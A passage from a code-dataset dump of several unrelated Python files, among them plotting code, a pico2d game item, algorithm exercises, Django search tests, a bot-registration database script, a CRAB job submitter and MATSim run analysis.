selector, args): #args=[x,y,z]\n d=load_panda()\n filtered_d=d.loc[d['Patient']==selected_patient]\n needles=needles_list(selected_patient)\n a=[]\n res=[]\n if selector != 'needles':\n for e in d[selector]:\n if e not in a:\n res.append({0:e, 'x':[], 'y':[], 'z':[]})\n a.append(e)\n else:\n for e in needles:\n res.append({0:e, 'x':[], 'y':[], 'z':[]})\n for e in res:\n if selector != 'needles':\n for row_selector, row_x, row_y, row_z in zip(filtered_d[selector], filtered_d[args[0]], filtered_d[args[1]], filtered_d[args[2]]):\n if row_selector == e[0]:\n e['x'].append(row_x)\n e['y'].append(row_y)\n e['z'].append(row_z)\n else:\n for row_selector, row_x, row_y, row_z in zip(filtered_d['Channel'], filtered_d[args[0]], filtered_d[args[1]], filtered_d[args[2]]):\n if e[0]==''.join(filter(str.isalpha, row_selector)):\n e['x'].append(row_x)\n e['y'].append(row_y)\n e['z'].append(row_z)\n return res\n\ndef scatter3d(selected_patient, selector, values):\n x=scatter3d_soz(selected_patient, selector, values)\n data=[]\n for e in x:\n d=go.Scatter3d(\n x=e['x'],\n y=e['y'],\n z=e['z'],\n name=e[0],\n mode='markers',\n marker=dict(size=4))\n data.append(d)\n layout=go.Layout(title=\"3D Scatterplot prove\", hovermode='closest', showlegend=True, scene=dict(xaxis_title=values[0], yaxis_title=values[1], zaxis_title=values[2]))\n fig=go.Figure(data=data, layout=layout)\n return fig\n\ndef list_needles_3dscatter(filtered_d, needles):\n res=[]\n for e in needles:\n dic={0:e, 'data':[]}\n a=[]\n for y, row_x, row_y, row_z in zip(filtered_d['Channel'], filtered_d['x'], filtered_d['y'], filtered_d['z']):\n if (e==''.join(filter(str.isalpha, y))) and (y not in a):\n dic['data'].append({0:y, 'xyz':[row_x, row_y, row_z], 'd':[], 'd_scale':[]})\n a.append(y)\n res.append(dic)\n return res\n\ndef scatter3d_soz_v1(selected_patient, args):\n d=load_panda()\n filtered_d=d.loc[d['Patient']==selected_patient]\n needles=needles_list()\n res=list_needles_3dscatter(filtered_d, needles_list(selected_patient))\n for e in res:\n for y in e['data']:\n for row_selector, value in zip(filtered_d['Channel'], filtered_d[args]):\n if y[0]==row_selector:\n y['d'].append(value)\n mini=0\n maxi=0\n for e in res:\n for y in e['data']:\n calc=sum(y['d'])/len(y['d'])\n y['d']=calc\n if calc>maxi:\n maxi=calc\n if calc%{text}
\" +\n \"%{customdata[1]} = %{customdata[0]:.02f}
\" +\n \"\",\n marker = dict(\n sizemode='diameter',\n sizeref=1,\n size=[k['d_scale'] for k in e['data']],\n ),\n )\n data.append(d)\n layout=go.Layout(title=\"3D Scatterplot needles prove\", hovermode='closest', showlegend=True, scene=dict(xaxis_title='X-axis', yaxis_title='Y-axis', zaxis_title='Z-axis'))\n fig=go.Figure(data=data, layout=layout)\n return fig\n\nif __name__=='__main__':\n pand_sensores()\n","sub_path":"ppanda.py","file_name":"ppanda.py","file_ext":"py","file_size_in_byte":9794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"28535862","text":"import random\r\nimport json\r\nfrom pico2d import *\r\n\r\nhp_heart_data = open('Data\\\\Hp_Heart.txt', 'r')\r\nhp_heart = json.load(hp_heart_data)\r\nhp_heart_data.close()\r\n\r\nclass Spring_Map_SPEED:\r\n\r\n PIXEL_PER_METER = (10.0 / 0.3)\r\n RUN_SPEED_KMPH = 30.0\r\n RUN_SPEED_MPM = (RUN_SPEED_KMPH * 1000.0 / 60.0)\r\n RUN_SPEED_MPS = (RUN_SPEED_MPM / 60.0)\r\n RUN_SPEED_PPS = (RUN_SPEED_MPS * PIXEL_PER_METER)\r\n\r\nclass Sky_Map_SPEED:\r\n PIXEL_PER_METER = (10.0 / 0.3)\r\n RUN_SPEED_KMPH = 40.0\r\n RUN_SPEED_MPM = (RUN_SPEED_KMPH * 1000.0 / 60.0)\r\n RUN_SPEED_MPS = (RUN_SPEED_MPM / 60.0)\r\n RUN_SPEED_PPS = (RUN_SPEED_MPS * PIXEL_PER_METER)\r\n\r\nclass Hp_Heart:\r\n\r\n image = None\r\n\r\n def __init__(self):\r\n self.x = 0\r\n self.y = 0\r\n self.state = \"None\"\r\n self.collision_time = 0\r\n\r\n if Hp_Heart.image == None:\r\n self.Hp_Heart = load_image('Resource\\\\Item\\\\hp_heart.png')\r\n\r\n def create(self):\r\n hp_state_table = {\r\n \"Hp\" : self.Hp_Heart\r\n }\r\n\r\n hp = []\r\n\r\n for name in hp_heart:\r\n item = Hp_Heart()\r\n item.name = name\r\n item.x = hp_heart[name]['x']\r\n item.y = hp_heart[name]['y']\r\n item.state = hp_state_table[hp_heart[name]['state']]\r\n hp.append(item)\r\n\r\n return hp\r\n\r\n def update(self, frame_time):\r\n if Spring_Map_SPEED.RUN_SPEED_PPS * frame_time < 12:\r\n self.distance = frame_time * Spring_Map_SPEED.RUN_SPEED_PPS\r\n self.x -= self.distance\r\n self.collision_time = 0\r\n\r\n elif self.state == \"Smashing\":\r\n if self.collision_time < 30:\r\n self.collision_time += 10\r\n for i in range(2):\r\n if self.x > 150:\r\n self.x += 20\r\n else:\r\n self.x -= 20\r\n\r\n elif self.state != \"Smashing\":\r\n self.distance = frame_time * Spring_Map_SPEED.RUN_SPEED_PPS\r\n self.x -= self.distance\r\n self.collision_time = 0\r\n\r\n def draw(self):\r\n self.Hp_Heart.draw(self.x, self.y)\r\n\r\n def draw_bb(self):\r\n draw_rectangle(*self.get_bb())\r\n\r\n def get_bb(self):\r\n return self.x - 20, self.y - 20, self.x + 20, self.y + 20\r\n\r\n","sub_path":"item.py","file_name":"item.py","file_ext":"py","file_size_in_byte":2294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"619043095","text":"def Floyd(dist, M):\r\n #print(*dist, sep = '\\n')\r\n for k in range(1, N + 1):\r\n for i in range(1, N + 1):\r\n for j in range(1, N + 1):\r\n dist[i][j] = min(dist[i][j], dist[i][k] + dist[k][j])\r\n\r\nINF = 10**9\r\nt = 1\r\nN = 20\r\nwhile True:\r\n try:\r\n dist = [[ INF for j in range(N + 1)] for i in range( N + 1)]\r\n for i in range(1, N):\r\n arr = list(map(int, input().split()))\r\n for j in range(1, arr[0] + 1):\r\n #print(\"canh la: \", i, arr[j])\r\n dist[i][arr[j]] = 1\r\n dist[arr[j]][i] = 1\r\n \r\n Floyd(dist, N)\r\n\r\n print(\"Test Set #{}\".format(t))\r\n t += 1\r\n test = int(input())\r\n for i in range(test):\r\n u, v = map(int, input().split())\r\n print(\"{:2d} to {:2d}: {}\".format(u, v, dist[u][v]))\r\n print()\r\n except EOFError:\r\n break","sub_path":"Lecture12/Risk_poj.py","file_name":"Risk_poj.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"543298072","text":"import unittest\nfrom django.test import TestCase\nfrom django.test import Client\nfrom django.urls import reverse\nfrom aliss.tests.fixtures import Fixtures\nfrom aliss.models import *\nfrom aliss.search import *\n\n\nclass SearchTestCase(TestCase):\n fixtures = ['service_areas.json', 'g2_postcodes.json']\n\n def setUp(self):\n t, u, c, _ = Fixtures.create_users()\n self.org = Fixtures.create_organisation(t, u, c)\n self.org2 = Organisation.objects.create(name=\"Test0rg\", description=\"A test description\",\n created_by=self.org.created_by, updated_by=self.org.updated_by)\n self.org3 = Organisation.objects.create(name=\"Another org\", description=\"A Test0rg description\",\n created_by=self.org.created_by, updated_by=self.org.updated_by)\n location1 = Fixtures.create_location(self.org)\n location2 = Fixtures.create_another_location(self.org)\n\n self.s1 = Service.objects.create(name=\"Food For All\", description=\"A handy food activity\", organisation=self.org, created_by=t, updated_by=u)\n self.s2 = Service.objects.create(name=\"Physical Fun\", description=\"Physical activity classes\", organisation=self.org, created_by=t, updated_by=u)\n self.s3 = Service.objects.create(name=\"Step Fit 1\", description=\"Physical activity classes\", organisation=self.org, created_by=t, updated_by=u)\n self.s4 = Service.objects.create(name=\"Step Fit 2\", description=\"Phyzical activiti classes\", organisation=self.org, created_by=t, updated_by=u)\n\n self.s1.locations.add(location1); self.s1.save()\n self.s2.locations.add(location1); self.s2.save()\n self.s3.locations.add(location1); self.s3.save()\n self.s4.locations.add(location2); self.s4.save()\n\n pks = [self.s1.pk, self.s2.pk, self.s3.pk, self.s4.pk]\n self.queryset = get_services(Fixtures.es_connection(), pks)\n\n\n def test_filter_by_postcode(self):\n p = Postcode.objects.get(pk=\"G2 4AA\")\n result = filter_by_postcode(self.queryset, p, 100)\n self.assertNotEqual(result.count(), self.queryset.count())\n\n\n def test_postcode_order(self):\n p = Postcode.objects.get(pk=\"G2 4AA\")\n result = filter_by_postcode(self.queryset, p, 100000)\n order = postcode_order(result, p)\n services = Service.objects.filter(id__in=order[\"ids\"]).order_by(order[\"order\"])\n self.assertTrue(services[0] in [self.s1, self.s2, self.s3])\n self.assertEqual(services[3], self.s4)\n self.assertEqual(result.count(), self.queryset.count())\n\n\n def test_combined_order(self):\n p = Postcode.objects.get(pk=\"G2 9ZZ\")\n result = filter_by_postcode(self.queryset, p, 100000)\n result = filter_by_query(result, \"Physical Activity\")\n order = combined_order(result, p)\n services = Service.objects.filter(id__in=order[\"ids\"]).order_by(order[\"order\"])\n self.assertNotEqual(services[2], self.s4)\n self.assertEqual(result.count(), 3)\n\n\n def test_organisation_query(self):\n org_queryset = get_organisations(Fixtures.es_organisation_connection(), [self.org3.pk, self.org2.pk, self.org.pk])\n result = filter_organisations_by_query(org_queryset, \"TestOrg\")\n x = result.execute()\n order = keyword_order(result)\n orgs = Organisation.objects.filter(id__in=order[\"ids\"]).order_by(order[\"order\"])\n self.assertTrue(self.org2 in orgs) #basic test for travis\n self.assertTrue(self.org in orgs)\n #self.assertEqual(self.org.id, orgs[0].id)\n #self.assertEqual(self.org2.id, orgs[1].id)\n\n\n @unittest.skipIf(settings.TESTING_ENV=='travis', \"Does not work accurately on Travis\")\n def test_keyword_order(self):\n success_counter = 0\n failure_counter = 0\n loop_counter = 0\n while loop_counter < 10:\n result = filter_by_query(self.queryset, \"Physical Activity\")\n order = keyword_order(result)\n services = Service.objects.filter(id__in=order[\"ids\"]).order_by(order[\"order\"])\n if ((services[0] == self.s2) and (services[2] == self.s4)):\n success_counter += 1\n else:\n failure_counter += 1\n loop_counter += 1\n self.assertEqual(result.count(), 3)\n self.assertTrue(success_counter > 8)\n\n\n #Require boundary_data to work, please see PR.\n def test_boundary_match_single_data_set(self):\n data_set_path = './aliss/data/boundaries/scottish_local_authority.geojson'\n data_set_keys = {\n 'data_set_name': 'local_authority',\n 'code':'lad18cd',\n 'name':'lad18nm',\n }\n p = Postcode.objects.get(postcode='G2 1DY')\n long_lat = (p.longitude, p.latitude)\n boundary = {'data_file_path': data_set_path, 'data_set_keys': data_set_keys}\n result = find_boundary_matches(boundary, long_lat)\n expected = [{'code-type':'local_authority', 'code':'S12000046', 'name': 'Glasgow City' }]\n self.assertEqual(expected, result)\n\n\n def test_boundary_matches_multiple_data_sets(self):\n p = Postcode.objects.get(postcode='G2 1DY')\n long_lat = (p.longitude, p.latitude)\n result = check_boundaries(long_lat)\n expected = [{'code-type':'local_authority', 'code':'S12000046', 'name': 'Glasgow City' }, {'code-type':'health_board', 'code':'S08000031', 'name': 'Greater Glasgow and Clyde' }, {'code-type': 'health_integration_authority', 'code': 'S37000034', 'name': 'Glasgow City'}]\n self.assertEqual(result, expected)\n\n def tearDown(self):\n Fixtures.organisation_teardown()\n for organisation in Organisation.objects.filter(name=\"Test0rg\"):\n organisation.delete()\n for organisation in Organisation.objects.filter(name=\"Another org\"):\n organisation.delete()\n","sub_path":"aliss/tests/search/test_search.py","file_name":"test_search.py","file_ext":"py","file_size_in_byte":5825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"462571207","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/phaneron/steps.py\n# Compiled at: 2019-09-03 05:18:33\n# Size of source mod 2**32: 2592 bytes\n\n\nclass Steps(object):\n __doc__ = ' Steps '\n\n def __init__(self, client):\n \"\"\"\n Create a new Steps instance\n \"\"\"\n self._client = client\n\n def __str__(self):\n \"\"\"Return a pretty-print of the class\"\"\"\n return 'Steps for Brayns'\n\n def set_steps_geometry(self, mesh_filename, ca_count_filename):\n \"\"\"\n Loads a mesh generated by STEPS, together with the Calcium concentration, and sends it to\n Brayns\n :param mesh_filename: Full path of the file containing the mesh\n :param ca_count_filename: Full path of the file containing the CA concentrations\n :return: Result of the request submission\n \"\"\"\n import steps.utilities.meshio as meshio\n mesh = meshio.loadMesh(mesh_filename)[0]\n data = open(ca_count_filename, 'r').readlines()\n tets = data[0].split()\n ca_count = data[(-2)].split()\n ntets = min(len(tets), len(ca_count))\n vertices = list()\n for i in range(mesh.countVertices()):\n vertex = mesh.getVertex(i)\n vertices.append(float(vertex[0]))\n vertices.append(float(vertex[1]))\n vertices.append(float(vertex[2]))\n\n indices = list()\n for i in range(ntets):\n for j in mesh.getTet(int(tets[i])):\n indices.append(int(j))\n\n ca = list()\n for i in range(ntets):\n ca.append(int(ca_count[i]))\n\n params = dict()\n params['vertices'] = vertices\n params['indices'] = indices\n params['caCount'] = ca\n params['scale'] = 100\n return self._client.request('addStepsGeometry', params=params)","sub_path":"pycfiles/phaneron-0.1.12-py3.7/steps.cpython-37.py","file_name":"steps.cpython-37.py","file_ext":"py","file_size_in_byte":1956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"247489938","text":"import argparse, json, os, psycopg2, sys\n\n# A comment?\nhelpText = \"This program is designed to register (or deregister) a bot to help with the game.\"\n\nparser = argparse.ArgumentParser(description = helpText)\n\nparser.add_argument(\"--botname\",\"-b\", help=\"a valid bot name (required)\")\nparser.add_argument(\"--desc\",\"-d\", help=\"description of the bot (optional)\")\nparser.add_argument(\"--disable\",\"-x\", help=\"'True' to deactivate\")\nparser.add_argument(\"--verbose\",\"-v\",help=\"'True' to turn on verbose logging\")\n\nargs = parser.parse_args()\n\n# Setting some defaults\nisVerbose=False\nbotName=\"Null\"\nbotDesc=args.desc\nenableBot=True\nbotStatus=\"active\"\nbotStatusID=0\n\nif args.verbose:\n isVerbose=args.verbose\n print(\"Verbose logging enabled\")\n\n# decide whether to stop now or continue.\nif not args.botname:\n if isVerbose: print(\"No bot name provided. Exiting...\")\n sys.exit()\n\nbotName=args.botname\n\nif not args.desc:\n botDesc=args.botname\n\nif args.disable:\n enableBot=False\n botStatus=\"disabled\"\n\nif isVerbose: \n print(\"botName = \" + botName)\n print(\"botDesc = '\" + botDesc + \"'\")\n print(\"enableBot = \" + str(enableBot))\n\n\nscript_dir = os.path.dirname(__file__)\nfile_path = os.path.join(script_dir, \"database_credentials.json\")\nwith open(file_path, \"r\") as f:\n dbcred = json.load(f)\n\n# #print (dbcred[\"hostname\"])\n\nhostname = dbcred[\"hostname\"]\nusername = dbcred[\"username\"]\npassword = dbcred[\"password\"]\ndatabase = dbcred[\"database\"]\nport = dbcred[\"port\"]\n\nstatusQuery=\"select a.entity_status_id bot_status_id from game.entity_status a where a.status_name = '\"+botStatus+\"'\"\nif isVerbose: print (\"statusQuery = \\n\" + statusQuery)\n\n# execute query\nconn = psycopg2.connect(user=username, password=password, host=hostname, port=port, database=database)\ncur = conn.cursor()\ncur.execute( statusQuery )\nbot_status_id = cur.fetchone()\nbotStatusID = int(bot_status_id[-1])\nif isVerbose: print (\"botStatusID = \" + str(botStatusID))\n\nif(conn):\n cur.close()\n conn.close()\n if isVerbose: print(\"Connection to DB is closed...\")\n\n\n# write query\nregisterQuery = \"\"\nregisterQuery += \"insert into game.bot_registration \\n\"\nregisterQuery += \" (created_date \\n\"\nregisterQuery += \" ,modified_date \\n\"\nregisterQuery += \" ,bot_status_id \\n\"\nregisterQuery += \" ,bot_name\\n\"\nregisterQuery += \" ,bot_description\\n\"\nregisterQuery += \" )\\n\"\nregisterQuery += \"values\\n\"\nregisterQuery += \" (current_timestamp\\n\"\nregisterQuery += \" ,current_timestamp\\n\"\nregisterQuery += \" ,\" + str(botStatusID) + \"\\n\"\nregisterQuery += \" ,'\" + botName + \"'\\n\"\nregisterQuery += \" ,'\" + botDesc + \"'\\n\"\nregisterQuery += \" )\\n\"\nregisterQuery += \"on conflict on constraint AK_bot_registraton\\n\"\nregisterQuery += \"do update set \\n\"\nregisterQuery += \" modified_date = current_timestamp\\n\"\nregisterQuery += \" ,bot_status_id = \" + str(botStatusID) + \"\\n\"\nregisterQuery += \" ,bot_name = '\" + botName + \"'\\n\"\nregisterQuery += \" ,bot_description = '\" + botDesc + \"'\\n\"\nregisterQuery += \"returning bot_status_id\\n\"\n# registerQuery += \"; commit\\n\"\n\nif isVerbose: print (\"registerQuery = \\n\" + registerQuery)\n\nconn2 = psycopg2.connect(user=username, password=password, host=hostname, port=port, database=database)\nregCur = conn2.cursor()\nregCur.execute( registerQuery )\nregisterResult = regCur.fetchone()\nbotRegistrationID=int(registerResult[-1])\nif isVerbose: print(\"botRegistrationID = \" + str(botRegistrationID))\nprint(botRegistrationID)\n\n\n","sub_path":"public/deprecated/python/register_bot.py","file_name":"register_bot.py","file_ext":"py","file_size_in_byte":3446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"630110577","text":"''' Given a collection of candidate numbers (C) and a target number (T), find all unique combinations in C where the candidate numbers sums to T.\n\nEach number in C may only be used once in the combination.\n\nNote:\nAll numbers (including target) will be positive integers.\nElements in a combination (a1, a2, … , ak) must be in non-descending order. (ie, a1 ≤ a2 ≤ … ≤ ak).\nThe solution set must not contain duplicate combinations.\nFor example, given candidate set 10,1,2,7,6,1,5 and target 8, \nA solution set is: \n[1, 7] \n[1, 2, 5] \n[2, 6] \n[1, 1, 6]\n'''\nclass Solution:\n\t# @param {integer[]} candidates\n\t# @param {integer} target\n\t# @return {integer[][]}\n\tdef combinationSum(self,candidates, target):\n\t\tif(candidates == [] or candidates[0] > target):\n\t\t\treturn []\n\t\telse:\n\t\t\tmax_index = len(candidates) - 1\n\t\t\twhile(candidates[max_index] > target):\n\t\t\t\tmax_index -= 1\n\t\t\tmax_num = candidates[max_index]\n\t\t\tans = []\n\t\t\ttmp_ans1 = self.combinationSum2(candidates[0:max_index], target)\n\t\t\t# print('1, candidates =', candidates, 'target =', target)\n\t\t\ttmp_ans2 = self.combinationSum2(candidates[0:max_index], target - max_num)\n\t\t\t# print('2, candidates =', candidates, 'target =', target - max_num)\n\t\t\tfor ele in tmp_ans2:\n\t\t\t\tele.append(max_num)\n\t\t\tans = tmp_ans1 + tmp_ans2\n\t\t\tif(max_num == target):\n\t\t\t\tans.append([max_num,])\n\t\t\t# print('Max num =', max_num)\n\t\t\t# print('ans =', ans)\n\t\t\tres = []\n\t\t\tfor ele in ans:\n\t\t\t\tif(not ele in res):\n\t\t\t\t\tres.append(ele)\n\t\t\treturn res\n\tdef combinationSum2(self, candidates, target):\n\t\tcandidates.sort()\n\t\treturn self.combinationSum(candidates, target)\n\ns = Solution()\ncandidates = [4,4,2,1,4,2,2,1,3]\ntarget = 6\nprint(s.combinationSum2(candidates, target))\n","sub_path":"LeetCode/040M_Combination_Sum_II.py","file_name":"040M_Combination_Sum_II.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"453578975","text":"\"\"\"This is a doc string\r\n This program calculating the number of stops required to re-fuel before reaching destination\r\n\"\"\"\r\ndef get_odo_input():\r\n start=float(input(\"Enter the start reading of odometer\\n\"))\r\n end=float(input(\"Enter the end reading of odometer\\n\")) #the following k and l will take the inputs from the user\r\n liters=float(input(\"Enter the amount of gas in liters\\n\"))\r\n return float(start), float(end), float(liters)\r\n\r\ndef mileage(user):\r\n print(\"The mileage of your vehicle is=%f\"%mil)\r\n \r\n# main starts from here\r\n\"\"\"This is a doc string\r\n The complete calculation of the mileage is done in main\r\n\"\"\"\r\nstart,end,liters=get_odo_input()\r\ndiff=end-start\r\nmil=diff/liters\r\nmileage(mil)\r\n \r\n","sub_path":"mileage.py","file_name":"mileage.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"50381150","text":"while 1:\n n = int(input())\n if n == -1:\n break\n cp = res = 0\n for _ in range(n):\n s, t = map(int, input().split())\n res += s*(t-cp)\n cp = t\n print(f\"{res} miles\")\n","sub_path":"src/BaekJoon/Simple_Implementation/4635.py","file_name":"4635.py","file_ext":"py","file_size_in_byte":206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"271569508","text":"#!/usr/bin/env python\n\nimport os.path\nimport urllib2\n\nfrom WMCore.Configuration import Configuration\n\n# ---\n# Some parameter steering\nPROCESS = 'MSSMHbb'\nUNITS_PER_JOB = 1\nTYPE = 'MC'\nPSET = 'ntuplizer_mc.py'\nCAMPAIGN = 'Fall15.SomeVersion'\nBASEOUTDIR = '/store/user/MyUserName/Analysis/Ntuples/' + PROCESS\nURL = 'http://www.desy.de/~MyUserName/cms/analysis/samples/miniaod'\n\n# ---\ndataset_list = URL + '/' + PROCESS + '.txt'\ndatasets = urllib2.urlopen(dataset_list)\n\n# _________________________________________________________________________\n\nif __name__ == '__main__':\n\n from CRABAPI.RawCommand import crabCommand\n from CRABClient.ClientExceptions import ClientException\n from httplib import HTTPException\n \n from Analysis.Tools.crabConfig import crabConfig\n config = crabConfig()\n \n if TYPE == 'MC':\n config.Data.splitting = 'FileBased'\n config.JobType.psetName = 'ntuplizer_mc.py'\n if TYPE == 'DATA':\n config.Data.splitting = 'LumiBased'\n config.JobType.psetName = 'ntuplizer_data.py'\n \n config.General.workArea += '_' + PROCESS\n config.Data.unitsPerJob = UNITS_PER_JOB\n \n for dataset in datasets:\n dataset = dataset.split('\\n')[0]\n dataset_name = dataset.split('/')[1]\n dataset_cond = dataset.split('/')[2]\n dataset_tier = dataset.split('/')[3]\n config.Data.inputDataset = dataset\n config.Data.outputDatasetTag = dataset_cond\n config.General.requestName = dataset_name\n config.Data.outLFNDirBase = BASEOUTDIR + '/' + dataset_tier + '/' + CAMPAIGN + '/'\n config.JobType.psetName = PSET\n crabCommand('submit', config = config)\n\n# _________________________________________________________________________\n","sub_path":"test/submitCrab3.py","file_name":"submitCrab3.py","file_ext":"py","file_size_in_byte":1789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"593586840","text":"\"\"\"\nTest that accuracy of FitBenchmarking is consistent with previous versions\n\"\"\"\n\ntry:\n from itertools import zip_longest\nexcept ImportError:\n from itertools import izip_longest as zip_longest\nimport os\nimport tempfile\nfrom unittest import TestCase\n\nfrom fitbenchmarking.cli.main import run\nfrom fitbenchmarking.utils.options import Options\n\n\nclass TestRegression(TestCase):\n \"\"\"\n Regression tests for the Fitbenchmarking software\n \"\"\"\n\n @classmethod\n def setUpClass(cls):\n \"\"\"\n Create an options file, run it, and get the results.\n \"\"\"\n\n # Get defaults which should have minimizers for every software\n opts = Options()\n # Use only the first minimizer for each software\n opts.minimizers = {k: [v[0]] for k, v in opts.minimizers.items()}\n # Get a list of all softwares\n # (sorted to ensure it is the same order as expected)\n opts.software = sorted(opts.minimizers.keys())\n opts.results_dir = os.path.join(os.path.dirname(__file__), 'results')\n\n opt_file = tempfile.NamedTemporaryFile(suffix='.ini')\n opts.write(opt_file.name)\n\n problem = os.path.abspath(os.path.join(os.path.dirname(__file__),\n os.pardir,\n 'mock_problems',\n 'all_parsers_set'))\n run([problem], options_file=opt_file.name)\n\n def test_results_consistent(self):\n \"\"\"\n Regression testing that the results of fitting a set of problems\n containing all problem types against a single minimiser from each of\n the supported softwares\n \"\"\"\n\n expected_file = os.path.join(os.path.dirname(__file__),\n 'expected_results',\n 'results_regression.txt')\n\n actual_file = os.path.join(os.path.dirname(__file__),\n 'results',\n 'all_parsers_set',\n 'all_parsers_set_acc_weighted_table.txt')\n\n with open(expected_file, 'r') as f:\n expected = f.readlines()\n\n with open(actual_file, 'r') as f:\n actual = f.readlines()\n\n diff = []\n for exp_line, act_line in zip_longest(expected, actual):\n exp_line = exp_line.strip('\\n')\n act_line = act_line.strip('\\n')\n if exp_line != act_line:\n diff.append([exp_line, act_line])\n\n num_diff = min(6, len(diff))\n msg = 'Accuracy has changed in at least 1 minimizer-' \\\n + 'problem pair. \\n' \\\n + 'First {} of {} differences: \\n'.format(num_diff, len(diff)) \\\n + '\\n'.join(['{} \\n{}'.format(*diff[i])\n for i in range(num_diff)])\n self.assertListEqual([], diff, msg)\n","sub_path":"fitbenchmarking/systests/test_regression.py","file_name":"test_regression.py","file_ext":"py","file_size_in_byte":2914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"584335081","text":"import logging\nimport analyse.reader\nimport os\nimport pandas as pd\nimport analyse.plot\nimport json\nimport time\nimport numpy as np\nimport analyse.skims\nfrom analyse.skims import set_simba_binnenverkehr_fq_attributes, get_station_to_station_skims\nfrom variable import *\nimport analyse.compare\nimport gc\n\n_cache = {}\n\n\ndef clear_cache():\n _cache.clear()\n\n\ndef cache(func):\n \" Used on methods to convert them to methods that replace themselves\\\n with their return value once they are called. \"\n\n def f(*args, **kwargs):\n self = args[0] # Reference to the class who owns the method\n funcname = func.__name__\n key = (self, funcname, args) + tuple(json.dumps(kwargs, sort_keys=True))\n if key not in _cache:\n _cache[key] = func(*args, **kwargs)\n else:\n logging.info(\"Loading from cache :). Use clear_cache\")\n return _cache[key]\n\n return f\n\n\nkeys = {\"acts\":\n {\"path\": \"matsim_activities.txt\", \"sep\": \"\\t\"},\n \"journeys\":\n {\"path\": \"matsim_journeys.txt\", \"sep\": \"\\t\"},\n \"legs\":\n {\"path\": \"matsim_trips.txt\", \"sep\": \"\\t\"},\n \"vehjourneys\":\n {\"path\": \"matsim_vehjourneys.csv\", \"sep\": \";\"},\n \"stops\":\n {\"path\": \"matsim_stops.csv\", \"sep\": \";\"},\n \"linkvolumes\":\n {\"path\": \"matsim_linkvolumes.csv\", \"sep\": \";\"},\n \"planelements\":\n {\"path\": \"plan_elements.csv\", \"sep\": \";\"},\n \"persons\":\n {\"path\": \"agents.csv\", \"sep\": \";\"}}\n\n\ndef _start_logging():\n logger = logging.getLogger()\n\n for handler in logger.handlers:\n logger.removeHandler(handler)\n\n logger.setLevel(logging.DEBUG)\n ch = logging.StreamHandler()\n ch.setLevel(logging.INFO)\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - [%(filename)s:%(lineno)d] - %(message)s')\n ch.setFormatter(formatter)\n logger.addHandler(ch)\n\n\n_start_logging()\nanalyse.plot.set_matplotlib_params()\n\ndtypes = {u'activity_id': int,\n u'person_id': str,\n trip_id: int,\n leg_id: int,\n u'boarding_stop': float,\n u'alighting_stop': float,\n u'alighting': str,\n u'link_id': str,\n u'work': str,\n u'season_ticket': str,\n u'subpopulation': str,\n u'employed': str,\n u'carAvail': str,\n u\"gender\": str,\n u\"work: employment status\": str,\n u\"sex\": str,\n u\"hasLicense\": str}\n\n\nclass Run:\n def __init__(self, path=None, name=None, runId=None, scale_factor=1.0, perimeter_attribute=\"08_SIMBA_CH_Perimeter\",\n datenherkunft_attribute=\"SBB_Simba.CH_2016\"):\n self.path = path\n self.name = name\n self.scale_factor = scale_factor\n\n self.runId = runId\n self.data = {}\n\n self.trip_persons_merged = False\n self.legs_persons_merged = False\n self.route_merged = False\n self.link_merged = False\n self.name_perimeter_attribute = perimeter_attribute\n self.name_datenherkunft_attribute = datenherkunft_attribute\n self.sample = None\n\n def get_persons(self):\n return self._get(\"persons\")\n\n def get_acts(self):\n return self._get(\"acts\")\n\n def get_trips(self):\n return self._get(\"journeys\")\n\n def get_legs(self):\n df = self._get(\"legs\")\n assert np.any(df.duplicated(leg_id)) == False\n return df\n\n def get_pt_legs(self):\n df = self.get_legs()\n\n if \"pt_legs\" not in self.data:\n\n cols = list(df.columns)\n\n df = pd.DataFrame(df[df[BOARDING_STOP].notnull() & df[ALIGHTING_STOP].notnull()])\n\n n = len(df)\n\n df[START_TIME] = df[START_TIME].apply(int)\n df[END_TIME] = df[END_TIME].apply(int)\n df[BOARDING_STOP] = df[BOARDING_STOP].apply(float)\n df[ALIGHTING_STOP] = df[ALIGHTING_STOP].apply(float)\n\n stop_attributes = self.get_stop_attributes()\n stops_in_perimeter = stop_attributes[stop_attributes[self.name_perimeter_attribute] == \"1\"][STOP_FACILITY].map(\n float).unique()\n stops_in_fq = stop_attributes[stop_attributes[FQ_RELEVANT] == \"1\"][STOP_FACILITY].map(float).unique()\n\n if IS_SIMBA not in df.columns:\n df = self.merge_route(df)\n\n df[IS_SIMBA_ROUTE] = False\n df.loc[df[\"01_Datenherkunft\"] == self.name_datenherkunft_attribute, IS_SIMBA_ROUTE] = True\n\n df = set_simba_binnenverkehr_fq_attributes(df, stops_in_perimeter, stops_in_fq)\n cols_ = cols + [\"is_binnenverkehr_simba\", \"journey_has_fq_leg\",\n \"start_time_first_stop\", \"end_time_last_stop\", \"first_stop\", \"last_stop\"]\n if IS_SIMBA not in cols_:\n cols_.append(IS_SIMBA)\n assert n == len(df)\n assert np.any(df.duplicated(leg_id)) == False\n self.data[\"pt_legs\"] = df\n\n return pd.DataFrame(self.data[\"pt_legs\"])\n\n def 